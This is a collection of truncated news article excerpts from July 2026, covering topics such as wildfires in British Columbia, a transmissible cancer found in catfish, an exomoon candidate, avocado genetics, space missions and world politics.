Germany on Wednesday approved an application by French firm Framatome to produce nuclear fuel rods under a licensing agreement with state-backed Russian firms despite political concerns, arguing it lacked the legal basis for a rejection. A Framatome subsidiary had applied to produce at its plant in northern Germany fuel elements to supply nuclear plants in the eastern European market using Russian licenses and technology in a joint venture with Russian firms TVEL/Rosatom. Despite political concerns due to Russia's war in Ukraine, the environment ministry in the state of Lower Saxony with guidance from the federal environment ministry granted the…

Descrease article font size Increase article font size Two major highways in B.C. are closed due to wildfires burning in the province. A new wildfire sparked on Tuesday night south of Boston Bar, forcing the closure of Highway 1 and prompting a plea from officials for those in the area to leave immediately. The communities in that area are now surrounded by fire to the south, west and northeast. The Anderson Creek wildfire, which is an estimated 1,000 hectares in size, is burning south of the community of Hicks. The Brunswick Creek wildfire, burning north of North Bend, is now an estimated 5,389.6 hectares in size. Get breaking National news Get…

Deputy almost hit by ‘drunk’ driver while at hit-and-run scene A Placer County Sheriff’s deputy narrowly escaped being hit by an alleged drunk driver during a hit-and-run crash investigation on Friday night (17 July). The officer was documenting the scene in Loomis at Taylor Road and Horseshoe Bar Road at 10:20pm, with a vehicle involved in the crash pulled over and the three people who were inside standing on the sidewalk. He was on the shoulder documenting the scene when a pickup truck driven by a driver later determined to be under the influence of alcohol came within inches of hitting him as he sideswiped the parked truck, officials said. The…

The Justice Department is suing two Chinese companies to force a mandatory recall of immersion water heaters, alleging that the products can overheat and catch fire "within minutes" after they're turned on, according to court filings obtained by CBS News. The heaters can be used in bathtubs and pools. The lawsuit, filed Wednesday in federal court in Washington, D.C., alleges that the two companies, Cixi Miaojie Electrical Appliance Co. and Changsha Jiayi Tianzhuo Trading Co., made and sold immersion water heaters to consumers under the brand "Lakkzoom." The lawsuit said the heaters could burst into flames if they are either completely or partially out…

Airports across Europe have been hit with massive queues, with some travel hubs seeing long lines snaking out their front entrances. The continent recently introduced new border rules that one airport boss said has nearly tripled the amount of time it takes Britons to get through passport control. Footage taken from Corfu Airport and shared to social media showed a long line of disgruntled flyers waiting on the pavement outside the airport. One woman was seen fanning herself to fight off the hot weather. The clip then cuts to inside the airport, before passport control, where the queue has all but come to a standstill. The footage was shared by a…

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The Lagos State Traffic Management Authority, LASTMA, has arrested a tanker driver who allegedly fled after knocking down and killing a commercial delivery motorcycle rider in Lagos. The incident occurred along Kodesho Road, opposite MRS Filling Station, inward Awolowo Way/Oba Akran in the Maryland-Ikeja area of Lagos. LASTMA disclosed this in a statement on Wednesday, saying the fatal crash involved a fully loaded tanker with registration number T-19089LA, conveying 33-litre groundnut oil. According to the agency, the tanker struck and fatally crushed the delivery rider, who died instantly. The agency said the driver attempted to escape without…

The Academic Staff Union of Universities, ASUU, Moses Oshio Adasu University, MOAUN, formerly Benue State University, BSU has suspended its indefinite strike. DAILY POST reports that the university had on June 1st, 2026, declared an indefinite strike over the non-payment of promotion arrears and other important issues. However, the National Executive Council, NEC of the university’s ASUU in a statement issued on Wednesday by its chairperson, Comrade Dr. Ali Sule Ako, said the industrial action has been suspended. According to the statement, the decision to suspend the strike followed a “successful signing of a Memorandum of Understanding, MoU arising…

London — The U.S. military's Central Command repeated an assertion on Tuesday evening that has been made by the Trump administration many times over the last two weeks, insisting that "despite Iranian aggression, the Strait of Hormuz remains open for commercial vessel traffic." CENTCOM acknowledged in the same statement that Iran had launched more than 30 attacks on commercial vessels since the war began, which it said had "endangered hundreds of innocent mariners and undermined freedom of navigation." President Trump, who has himself declared the strait open many times recently, threatened on Wednesday to destroy an Iranian bridge or power plant for…

Wildfires have shut down two major highways from Metro Vancouver into the British Columbia Interior after a significant new blaze in the Fraser Canyon triggered an urgent plea for residents to flee the area around Boston Bar. Highway 1 is shut in both directions south of community, forcing evacuees to head north, while Highway 3 is shut at E.C. Manning Park. The 10-square-kilometre Anderson Creek wildfire ignited and spread quickly on Tuesday south of Boston Bar, about 200 kilometres northeast of Vancouver, and while the township was already under evacuation order, the new fire prompted the Fraser Valley Regional District to tell remaining residents…

Ryanair passenger says he was nearly sucked out of broken window during flight A 61-year-old Serbian businessman who was traveling on a Ryanair flight says he was almost sucked out of the plane when a window broke. Ryanair contests parts of the man's account. CBS News' Tom Hanson has more.

Dog found 30 miles from home is reunited with owners after going missing for 10 days A seven-year-old Australian shepherd dog named Fig was reunited with her owners after being missing for 10 days. The canine fled after being startled by July 4th fireworks. Owner Katie Cassaday and her family spent a week posting flyers and searching for her without success. But after filing a missing dog report with Tulare County Sheriff’s Department, Fig was spotted nearly 30 miles from her California home. The sheriff’s department posted a bodycam video showing an officer reuniting Fig with her family on July 15th.

I've fallen down the Anno 117: Pax Romana rabbit hole this year, despite the negative buzz around it. Steam reviews and the Reddit consensus hold that 117 is empty, dull, and generally just less than its predecessor, Anno 1800. I can sort of see why. Quite a few elements seem like they're waiting for future add-ons to come alive and wake them up. But I've enjoyed myself thoroughly, so when I saw the "mostly negative" reviews for Anno 117's first big DLC, Prophecies of Ash, I figured I'd give it a try, despite the haters. I'm glad I did. An inaugural bit of DLC can't fix every problem. But it solves some pretty big ones, and throws a welcome wrench…

A drone photographer spotted a shark swimming dangerously close to a surfer off Seascape Beach in Aptos, California — then revved his drone motors to warn the surfer before the shark finally turned away. NEWYou can now listen to Fox News articles! A 10-foot great white shark was spotted swimming alarmingly close to a group of young swimmers along the Southern California coastline — with the children appearing completely unaware of the predator nearby. The encounter was captured on drone video by Carlos Gauna, a wildlife photographer known as the "Malibu Artist," who said it was one of the few times he felt genuinely uneasy while observing sharks. "I…

Inca boys and girls chosen for human sacrifice trekked through Inca communities for thousands of miles on sacred pilgrimages before their ritual deaths, often near high peaks in the Andes Mountains, a new analysis of their mummies reveals. The research also looks again at the manners of their deaths and found that none of three children in the Inca ritual, known as Capacocha, died in the ways that scientists previously thought. "Capacocha was not limited to the final act of offering at the mountain," study first author Verónica Silva-Pinto, an archaeologist at Diego Portales University in Santiago, Chile, told Live Science in an email. "It was an…

Although they’re fish, tunas count among the rarified group of animals that can keep their bodies warmer than the surrounding environment. Their warm-bloodedness (“endothermy”) gives them a physiological advantage in generating and sustaining energy, helping them serve as top predators. In fact, albacore tuna have been clocked swimming faster than 50 miles per hour and diving to more than 3,000 feet. How tunas and a few of their relatives in the family Scombridae, which includes mackerels and bonitos,evolved these traits has been a subject of scientific debate. The prevailing hypothesis is that tuna capitalized on an ecological opportunity that…

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The idol of Pidari Ekaveeri at the Sadaimudinathar Temple at Tiruvalanchuzhi near Kumbakonam. \| Photo Credit: R. Vengadesh Within the precincts of the ancient Sadaimudinathar Temple at Tiruvalanchuzhi, near Kumbakonam, stands a remarkable image of Pidari Ekaveeri, a deity whose significance is illuminated by the temple’s inscriptions. The temple, celebrated in the hymns of the Shaivite saints and renowned as an architectural marvel of the Chola period, is also home to inscriptions that reveal an equally fascinating chapter in its religious history. According to the inscriptions, the endowment for the worship of Pidari Ekaveeri was made by Kunthanan…

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What Nolan Wells' preliminary independent autopsy findings revealed about his death Mississippi teen Nolan Wells vanished while on a Fourth of July boat trip with a group of friends. His body was found days later. Attorney Ben Crump shared the results of the teen's preliminary independent autopsy commissioned by Wells' family. CBS News' Skyler Henry has the latest, and legal contributor Jessica Levision joins to discuss.

Astronauts have grown a common crystal in space — but this extraterrestrial version is exhibiting a very uncommon behavior. Under a microscope, the crystal looks more like a tiny futuristic sculpture than something that formed naturally. The pyramid-like assembly curls in on itself in stair-stepped layers, seeming almost too orderly to be real. But according to scientists, the striking shape is what happens when gravity stops calling the shots. The image, shared on July 18 by NASA astronaut Don Pettit, and accompanying video were captured aboard the International Space Station (ISS) and show potassium chloride crystals growing in microgravity — the…

(This is Part 3 of a series on the life and work of Chandrasekhar. Read Part 1 and Part 2 first.) The whole affair very nearly drove Chandra out of physics altogether. He couldn't stay in Europe living under Eddington's shadow, so he did what a lot of people have done when a place stops having room for them: he left. He moved to the United States. But the wound traveled with him. Chandra carried the anger and the hurt for decades and returned to that day again and again for the rest of his life. There's a line from Arthur Miller's biography of him, "Empire of the Stars," that gets at the human cost of the whole thing: even though science deals in…

Back in 1985, an electrical engineer at Polaroid named Bill Freeman had an idea for a three-sided zipper. Not a novelty item, not a quirky art piece, but a genuinely functional fastener capable of switching objects between soft, floppy states and rigid, load-bearing structures. He submitted it to a design competition. They rejected it. He patented it anyway, then tucked the prototype away in his garage, where it sat for nearly four decades. That detail alone should give us pause. How many brilliant ideas are sitting in someone’s garage right now, waiting years for the tools and technology to finally catch up? Freeman is now an MIT professor, and the…

To gauge the value of the paleontological heritage of La Rioja (a small region in northern Spain better known internationally for its wines) it is necessary to travel back 120 to 130 million years. From that time, the Early Cretaceous — of which more than 170 sites and over 11,000 dinosaur footprints remain —experts have reconstructed an ecosystem dominated by a vast lake on a broad alluvial plain that was about 400 square kilometers (154 square miles) and where rivers emptied into the area. At that time, the Iberian Peninsula was a large island near the Canary Islands, with a humid subtropical to tropical climate that produced lush vegetation,…

Nolan Wells' preliminary independent autopsy results read by attorney Ben Crump The body of Mississippi teen Nolan Wells was discovered days after he went missing during a Fourth of July boat trip. Attorney Ben Crump read the results of a preliminary independent autopsy commissioned by Wells' family to the public.

In the frigid North Atlantic waters around Northeast Greenland National Park, researchers spotted something miraculous: an Arctic bobtail squid with her eggs. This, according to the findings published in Polar Biology, is the first time this species of squid has been spotted in the park. Arctic bobtail squid (Rossia moelleri) are a rare sight, and capturing footage of one in this national park is even rarer. “Northeast Greenland National Park is the largest national park on Earth but one of the least biologically documented marine regions in the Arctic,” Paige Maroni, from The University of Western Australia’s School of Biological Sciences, and lead…

That avocado that you may have smeared on your toast to start your morning was a clone. In fact, the avocados that sit quickly aging on your counter or arranged in piles above signs displaying their ever-increasing price in grocery stores from Los Angeles to Beijing are genetically indistinguishable. And that makes them vulnerable. Because the Hass avocado variety, the most popular cultivar on Earth, was cloned from a single tree in 1926 then grafted onto root stock around the world, each of the fruits contains basically identical DNA. This lack of genetic diversity means that a single pathogen or environmental perturbation could potentially wipe out…

A mysterious cluster of blackened skin lesions affecting catfish in New England turned out to have a stranger cause than anyone would have predicted: a contagious form of cancer. Researchers in Vermont studied melanoma tumors collected from brown bullhead catfish (Ameiurus nebulosus) living in Lake Memphremagog. The tumors on different fish were genetically much more similar to each other than their hosts, they found, strongly pointing to the cancer’s infectious origin. It’s only the fourth ever kind of transmissible cancer discovered in animals, and there remain many questions about this cancer and others like it, the researchers say. “Transmissible…

Ancient Genes Reveal That Big, Bright Avocados Were Carried Through the Americas Thousands of Years Ago People brought large avocado seeds from South America to Central America, kicking off a burst of diversity for the fruit Riley Black \| Science Correspondent July 22, 2026 11:00 a.m. Fruit grows on a native avocado tree in southern Mexico Kevin Wann The buttery avocado is the fruit of a warmth-loving tree now grown all over the world. Yet the familiarity of the fruit and its delicious culinary applications obscures the fact that there isn’t just one form of avocado. An array of avocados with slightly different characteristics are found throughout…

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It's rare that cancerous tumours can spread from one individual to another. But a genetic study suggests that's what's happening with melanoma tumours among catfish in Quebec and the northeastern U.S. The discovery represents the first known transmissible cancer in fish and one of very few transmissible cancers ever found, reported the study published in the journal Nature on Wednesday. Julie Dragon, co-leader of the new study, noted that only three other transmissible cancers have ever been identified so far — in Tasmanian devils, dogs and shellfish. "These conditions are incredibly rare in nature," she said. "So something has to be happening to…

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Following its liftoff from Cape Canaveral on July 21 aboard a SpaceX Falcon 9 rocket, the Mission Robotic Vehicle (MRV) hosting the NASA-supported Robotic Servicing of Geosynchronous Satellites (RSGS) payload is now en route to geosynchronous Earth orbit, where it will use its advanced robotics to service spacecraft. RSGS leverages in-space robotics expertise from NASA, aligned with the agency’s broader goals to advance U.S. capabilities for in-space servicing, assembly, and manufacturing that can be applied to space commerce and exploration. Funded by the Defense Advanced Research Projects Agency (DARPA), the RSGS program uses twin dexterous robotic…

The launch of NASA's next super telescope, the Nancy Grace Roman Space Telescope (Roman), may mean there is nowhere left for violent black holes to hide. In fact, these cosmic cannibals may not even be able to hide from Roman at "cosmic noon," a period of the universe's history that occurred around 11 billion to 12 billion years ago. The study of these gory stellar events so early in the history of the universe could help reveal how supermassive black holes grew so big, so rapidly. Occurrences of black holes ripping apart stars are called tidal disruption events (TDEs), and they happen when an unfortunate star's orbit brings it too close to the…

As TechRadar’s AV tester, I’m always on the lookout for new 4K Blu-rays to test the best TVs and best soundbars with. While I have a pretty healthy catalog, with some top-notch discs, as a 4K Blu-ray fan, it’s exciting to check out new discs to keep testing fresh. Last month, I tested the Speed Racer 4K Blu-ray and it was a powerhouse. Not only did it deliver staggeringly vibrant colors, but it also had a superb Dolby Atmos soundtrack that demonstrated power and precision, particularly during race sequences. It was one of my top discs of the June 2026 Blu-ray Bounty, and it’s easily one of the most impressive I’ve tested. This month, a new disc has…

The countdown is on as Dunedin prepares for daytime darkness for the first time since 1163 AD. On Wednesday at 4.15pm, the city marked exactly two years until the region's total solar eclipse when the moon's shadow passes directly over parts of Otago. Claudia thought she would only see one eclipse in her lifetime. She experienced one while working in a university hospital in Munich. "Everybody stopped for the eclipse so the whole hospital stopped basically. No surgeries, no nothing, and we all walked out with our glasses to watch it," she said. "Then it was dark, which was kind of beautiful but scary but weird. And then slowly the sun came back and we…

The Milky Way is ancient, and its first stars formed shortly after the Big Bang. It's been through a lot in its long life, including merging with other galaxies and absorbing smaller ones. Our observations of the cosmos confirm that, where we see multiple examples of galaxies merging and interacting. Piecing together the Milky Way's history of mergers and other events is key to understanding our galaxy, and by extension, other galaxies. Not everything about the Milky Way (MW) is clearcut. Even with all of the scientific progress in astronomy, especially in the last couple decades, some of its features are still puzzling. One of its puzzles concerns…

NASA astronaut Chris Williams and Roscosmos cosmonauts Sergey Kud-Sverchkov and Sergei Mikaev are wrapping up their 241‑day mission aboard the International Space Station. The crew and its Soyuz MS-28 spacecraft will undock from the orbiting laboratory’s Rassvet module at 3:02 a.m. EDT Sunday, July 26, heading for a parachute-assisted landing at 6:26 a.m. (3:26 p.m. local time) on the steppe of Kazakhstan, southeast of Dzhezkazgan. NASA’s live return coverage will stream through a variety of platforms. Learn where to watch online: Williams and his crewmates will complete 3,856 orbits and travel more than 102 million miles before returning to Earth.…

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Nearly three years ago, China launched a radar satellite capable of monitoring nearly a third of Earth’s surface around the clock. The satellite’s unique capability has left many researchers in the U.S. stumped, unable to recreate the groundbreaking technology. Now, a new study disclosed that the satellite’s secret sauce is China’s near-total dominance over the supply of a high-performance semiconductor material. The Ludi Tance 4-01 radar satellite is powered by gallium nitride semiconductors, allowing it to operate at a high altitude of 22,370 miles (36,000 kilometers) while being fixed over the same geographic position at all times, the South China…

The outgoing head of the U.S. Space Force has some stark words for his international partners. Speaking at the 2026 Global Air and Space Chiefs Conference on July 15, in what was his last public speech as Chief of Space Operations (CSO), Gen. Chance Saltzman told attendees that if an armed conflict ever reaches space, as military leaders have for years been predicting and planning for, no military or nation in the world will be spared. "If a conflict extends into space, none of us will be able to avoid the war zone. Unlike a combat zone in the air, land or sea, we will not be able to steer clear," Saltzman said in his remarks at the conference,…

NASA’s Chandra X-ray Observatory unveiled this new look at the galaxy NGC 4736, also known as Messier 94, on June 30, 2026. Messier 94 is a spiral galaxy with a bright inner ring around it, called a starburst ring, where new stars are forming, perhaps fueled by gas driven in the unique oval-shaped structure seen here. In this image, X-rays of different wavelengths from Chandra (red, orange, and blue) are layered with a visible light image from astrophotographers using their telescopes on the ground (red, green, and blue). Experience this image through sound. Image credit: X-ray: NASA/CXC/SAO; Optical:Brian Brennan and Remi Lacasse; Image Processing:…

Normandy’s application to have the D-Day beaches in northern France listed as a UNESCO World Heritage site could finally be accepted at the end of July, after it's submission nearly 20 years ago. The nomination also includes Pointe du Hoc, the German artillery battery at Longues-sur-Mer, Port Mulberry, and numerous military cemeteries and memorials. The UN cultural agency is set to male a decision between July 24 and 27.

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VIDEO Astronomers have discovered an object orbiting a brown dwarf or “failed star”. Is it the first exomoon, or moon outside our solar system? Astronomers are debating what to call it. Why? Because moons orbit planets … And this exomoon is orbiting a brown dwarf, which is an object that’s too massive to be a planet but not massive enough to shine like a star. Video via ESO. Did we find an exomoon around a brown dwarf? Exomoons are moons that exist outside our own solar system. We’ve yet to definitively find a single one! That’s because they are small and dim, circling exoplanets that are also small and dim, hidden in the glare of the stars they…

SCIENCE Astronomers spot exomoon candidate that's almost as massive as Jupiter Object orbits a brown dwarf, which circles another star, confusing the cosmic taxonomy Scientists may have found the first moon outside our Solar System – depending on what astronomers ultimately decide counts as one. Either way, the groundbreaking research, published in Nature this week, promises a path to clearer sightings of so-called exomoons. Kevin Hoy, a PhD student affiliated with Universidad Diego Portales and the European Southern Observatory in Chile, has found an object orbiting a brown dwarf, which in turn orbits a host star, which sits about 73 light-years from…

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Can you imagine in the far distant future in a colony planet an elite commando unit doing battle with the Xenomorphs? Four decades ago, James Cameron took Ridley Scott’s quiet, gothic space-slasher and injected it with pure, high-octane military adrenaline. The result was ‘Aliens’ (1986)—a cinematic juggernaut that didn’t just avoid the sophomore slump but completely redefined the parameters of what a sequel could achieve. As we cross the monumental 40th-anniversary threshold of this legendary release, we are reminded of why this film still stands unchallenged at the absolute peak of Hollywood’s creative powers. As I previously detailed in my…

NASA has discovered more than 6,000 exoplanets peppered throughout the galaxy, but astronomers have yet to confirm the existence of a single exomoon. A newly discovered moon-like object could be a promising candidate. In a study published today in the journal Nature, researchers describe a three-tiered hierarchical system: a satellite orbiting a brown dwarf, which in turn orbits a star. While the satellite fits a moon-like classification in several ways, astronomers lack a concrete definition for exomoons, so the authors can’t definitely say this is the first one. Still, their work demonstrates an effective technique for finding moon-like objects…

This graphic illustrates the areas of Jupiter’s moon Io sampled by the Microwave Radiometer (MWR) instrument aboard NASA’s Juno spacecraft during two close flybys. The black overlapping lines show the instrument's footprints during Perijove 57 on Dec. 30, 2023, when the spacecraft primarily mapped the northern hemisphere. The blue lines represent Perijove 58 on Feb. 3, 2024, which focused heavily on the moon’s mid-latitudes and equatorial regions. Both passes mapped the side of Io that constantly faces Jupiter. The sweeping, overlapping patterns are a result of the spacecraft spinning at two revolutions per minute as it flew past the moon at a…

Australia’s emergency services and military personnel are being trained to read paper maps, navigate without GPS support, and sail by the stars in case something knocks out the nation’s space capabilities. A panel at the 19th Australian space forum in Adelaide on Wednesday was asked to consider what would happen “if we suddenly lost access to critical space infrastructure – no satellites, no GPS, no remote sensing, no secure communications?” Sign up for the Breaking News Australia email The experts warned that Australians are unaware just how dependent they are on space, and how vulnerable that connection is to enemy attacks and solar flares. It’s…

It’s tough being a female in a naked mole-rat colony; they live a long life of servitude, maintaining the tunnels of their underground world and caring for the queen’s offspring. Within the colony, a single ruling female is responsible for all breeding while the rest are rendered to a life of infertility. Scientists have long wondered how the naked mole-rat queen maintains this status quo, and now they may finally have an answer. In a study published in Nature, a team of researchers suggests that naked mole-rat queens emit a chemical that prevents other females in their colony from reproducing. The compound’s odor induces infertility in the colony’s…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Science Corporation, a start-up developing novel brain-computer interfaces (BCI), won approval from Europe’s medical device regulator to begin selling a device that restores vision lost from age-related macular degeneration. The company said the device, called PRIMA, also received a designation from the US Food and Drug Administration that is the first step toward an expedited regulatory review, which could see the device used to treat two rare kinds of blindness. Millions of people around the world suffer from age-related macular degeneration, which destroys the light-sensitive cells at the back of the eyes, making it difficult to read and recognize…

Descrease article font size Increase article font size Advocates are urging the federal government to increase health care funding and impose more conditions on what the provinces can do with that money. Friends of Medicare director Chris Galloway says Ottawa shouldn’t give a blank cheque that could allow provinces like Alberta to dismantle the public system. Galloway and more than 100 other people gathered outside a meeting of provincial and territorial premiers in Charlottetown, P.E.I. They were protesting Alberta Premier Danielle Smith’s plans to allow some physicians to offer privately paid surgical procedures beginning this fall. The Alberta…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Scientists have discovered how mice survive at extreme altitudes on the tips of icy dormant volcanoes in the Andes. The area where the mice call home extends more than 1 mile (1.6 kilometers) above the world's highest human settlement. The air is thin, temperatures are blisteringly cold, and a desert ecosystem ensures water and vegetation are extremely scarce. "As a mountain climber standing on the summit of these peaks, the idea that there could be animals living in these barren godforsaken environments is just really mind-boggling," Jay Storz, a professor of biological sciences at the University of Nebraska–Lincoln, told Live Science. In 2020, Storz…

Open this photo in gallery: OraQuick is Canada’s first oral self-test and provides results in about 20 minutes after swabbing the upper and lower gums.Eduardo Lima/The Canadian Press A national program that distributes free HIV self-testing kits across Canada is expanding on Thursday, increasing access to an oral swab test recently approved for sale by Health Canada. For many years, the only HIV at-home testing option available in Canada was the INSTI finger-prick test, which requires a small blood sample. But, in February, Health Canada approved OraQuick, the country’s first oral self-test that provides results in about 20 minutes after swabbing the…

University of Cambridge professor Elizabeth Murchison and Peter Emerson of the Vermont Fish \& Wildlife Department scoop up catfish for testing in Newport, VT. Emerson was one of the researchers to publish a new paper in the journal Nature describing the first known transmissible cancer in fish. Joshua Brown/University of Vermont *hide caption* *toggle caption* Joshua Brown/University of Vermont Every year, the Vermont Fish \& Wildlife Department conducts a fish census in Lake Memphremagog, which straddles northern Vermont and the Canadian province of Quebec. In 2013, the team was startled by some of the brown bullhead catfish they were finding in the…

Ahamed Samsudeen called himself a terrorist and threatened guards while he spent time inside New Zealand's maximum security prison, a coroner has heard. The inquest at the Auckland District Court has been told there was no programme to deradicalise Samsudeen while they had him in prison. Shortly after his 2021 release, Samsudeen stabbed six shoppers at a West Auckland supermarket, before being shot dead by police. Samsudeen was first arrested in 2017, charged with sharing violent ISIS videos, as well as possessing an offensive weapon, failing to assist police with a search, and using documents for financial gain. He was bailed a year later, before…

Fox News senior medical analyst Dr. Marc Siegel breaks down concerns around cyclosporiasis and the air quality impact of Canadian wildfires on 'The Big Weekend Show.' We all have stuff that comes up in our lives that we file away in a keep-to-ourselves section of our brain. Having a horrible case of diarrhea that ruins your honeymoon isn't one of them. That's a story you not only tell everyone, it's one that you run out and make sure the news is aware of. Otherwise, you're faking it through answering the question "how was your honeymoon?" Nobody wants to put themselves in that situation. The moment you let it slip to one person that you had diarrhea…

After over ten years of listening, one thing became increasingly clear: psychological distress in Nigeria rarely exists in isolation. It is deeply intertwined with economic uncertainty, caregiving responsibilities, insecurity, unemployment, family conflict and the daily pressures of survival. Trigger Warning: This article contains discussions of mental health, emotional distress, and related experiences that some readers may find sensitive. When Kalu lost his father to cancer, he knew the weight of his family’s demands would now rest solely on his shoulders. He fought back tears as his father was lowered into the ground, unsure whether he was mourning…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

One hundred and sixty-eight students have bagged First Class Honours at the University of Nigeria, Nsukka, UNN, as the institution holds its 55th Convocation Ceremony. The number is part of the 12,895 students participating in the convocation as announced by the Vice-Chancellor, Prof. Simon Ortuanya. Ortuanya disclosed this on Wednesday in Enugu during a press briefing at the university’s Enugu Campus, themed “The Renaissance of Mind and the Rebuilding of the Lion’s Den.” Providing a breakdown of the graduating students, Ortuanya said 10,641 would receive first degrees and diplomas, including 168 First Class graduates. He added that 2,944 postgraduate…

Whakatāne has waited years for a medical MRI scanner, but it has somehow ended up in Masterton. Residents from the eastern end of Bay of Plenty must still travel to Tauranga for a scan in one of its seven MRI machines, all privately owned. Health NZ says it is working on a plan for Whakatāne - but its last one failed. June Goodhew says it has dragged on long enough. In May, the 85-year-old retired tutor was given a packed lunch at Whakatāne Hospital and sat in an ambulance headed for Tauranga and an MRI. A second woman sat up front. "I really felt sorry for her because, you know, she was in pain," said Goodhew. "From 11 o'clock till 5pm, it was quite…

People Aren’t Born as Righties or Lefties—They Develop Hand Dominance With Practice, a New Study Suggests Humans do have a biological preference for using one side of their body, which might prime them for using limbs on that side for complex motor tasks like writing—and honing those skills over time Handedness refers to both hand preference and hand dominance. Image by katemangostar on Magnific Many people assume that they are born either left-handed or right-handed. New research, however, suggests that part of handedness actually comes down to practice. While you do have a biological preference for using one side of your body, your dominant hand’s…

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U.S. President Donald Trump. File \| Photo Credit: Reuters U.S. President Donald Trump has given generic pharmaceutical companies a two-year window to establish manufacturing facilities in the United States, warning that products imported after August 2028 could face tariffs of up to 200%. The announcement, made on Wednesday (July 22, 2026) through a social media post, has significant implications for India, which sends more than a third of its pharmaceutical exports to the U.S. While Indian drugmakers sought to strike a cautious note, they warned that higher tariffs would ultimately increase medicine costs for American consumers. Mr. Trump said the…

Hong Kong authorities have warned of possible enforcement action after mainland Chinese dental chains were suspected of operating illegally in the city, as local industry leaders called for tighter supervision. The Hong Kong Dental Association also said on Wednesday a poll of local practitioners found that each dentist needed to follow up on an average of four cases a month relating to treatment received across the border. The Health Bureau and the Department of Health said in a joint statement they had contacted the association to follow up on its reports of mainland clinics running promotional booths in the city. “We will not rule out taking…

With thousands of children under five hospitalised each year with RSV, experts want New Zealand to catch up with other countries and introduce a universal vaccination programme. A new briefing from the Public Health Communication Centre has shown it could free up thousands of hospital beds each year. RSV, or respiratory syncytial virus, is a common respiratory illness that causes lung and respiratory tract infections, with similar symptoms to a cold - but in young children, it can cause serious complications. Lead author and paediatric infectious disease specialist Dr Hazel Dobinson said immunisation had transformed prevention overseas. International…

(MedPage Today) -- Higher levels of trihalomethanes (THMs) -- a disinfection byproduct of the drinking water treatment process -- were linked to a higher risk of uterine cancer among a cohort of California women. Among those with addresses...

Criminal syndicates increasingly turned from targeting Chinese nationals to Americans after Beijing’s 2023 crackdown on online scams in Southeast Asia, analysts said on Wednesday, triggering a global game of “whack-a-mole”. “China has a huge advantage and a head start in terms of trying to protect its own citizens from scams compared to the US,” said Sue-Lin Wong, who hosts the Scam Inc. podcast, adding that it is “terrible for Americans who are losing a lot of money”. In recent years, Southeast Asia’s cyberscam industry has grown rapidly, with criminal syndicates initially targeting Chinese speakers before expanding globally to prey on victims around…

On Tuesday night, the city council of my small town of Irmo, South Carolina, voted to install 22 new Flock cameras. That’ll bring the total up to 33. With a population of only 12,000 or so, it means there’ll be one Flock camera for every 300 residents. That means there will be more Flock cameras in my town than police officers. The city council — the governing body consisting of the mayor and 4 councilpersons — voted for Flock expansion despite presentations from residents about the dangers of what they described as the creeping surveillance state. The vote for the cameras was a hot topic in local news and South Carolina social media. The city council…

U.S. Secret Service Director Sean Curran testifies during the House Appropriations Homeland Security Subcommittee hearing in Rayburn building on Thursday, April 16, 2026. Tom Williams \| CQ-Roll Call, Inc. \| Getty Images A senior U.S. Secret Service official said Wednesday that the "threat environment" for the agency's protectees, who include President Donald Trump, "is the highest we've ever seen." "What we're seeing now is something I've never seen before," said the senior official, who spoke to reporters at a background briefing on the condition that they not be identified by name before a public briefing. There have been about 10,000 cases…

Paris' Louvre Museum reopened its Apollo Gallery to the public on Wednesday, marking the first time visitors were allowed in since Ocotber 2025, when robbers stole €88 million ($102 million) worth of crown jewels in a dramatic daytime heist. The Louvre is world's most visited museum, with guest numbers of up to 9 million a year. It was originally a royal palace, which was opened to the public during the French Revolution. The museum houses the Mona Lisa, one of the world's most famous pieces of art. The October 2025 heist shocked the world as the thieves used a crane mounted on a truck to enter the museum through a window at 9:30 a.m., when the museum…

Court advises Nollywood actor Emeka Ike, Wike’s aide to explore reconciliation in N10bn suitThe Federal High Court in Abuja on Wednesday advised Nollywood actor Emeka Ike and Lere Olayinka, Senior Special Assistant to FCT Minister Nyesom Wike to explore an out-of-court settlement for a N10 billion privacy breach suit brought by the thespian. Justice Salim Ibrahim gave the advice to the parties, including the Independent National Electoral Commission (INEC), during Wednesday’s proceedings. All the parties in the suit were represented during the hearing. Leonard Adeh, who appeared for Mr Ike, informed the court that the matter was scheduled for further…

Ukraine's Unmanned Systems Forces have struck 13 additional electrical substations in Russian-occupied territories in southern Ukraine as part of Operation Crimean Switch Off, including 10 facilities in temporarily occupied Crimea. According to Ukrinform, the commander of the Unmanned Systems Forces, Robert "Magyar" Brovdi, announced the operation on Facebook. "Thirteen energy facilities in Crimea and other temporarily occupied territories were successfully targeted on July 21–22," Brovdi said. According to him, Ukrainian forces have struck a total of 117 energy infrastructure targets between July 1 and July 22. The latest targets included: the 110 kV…

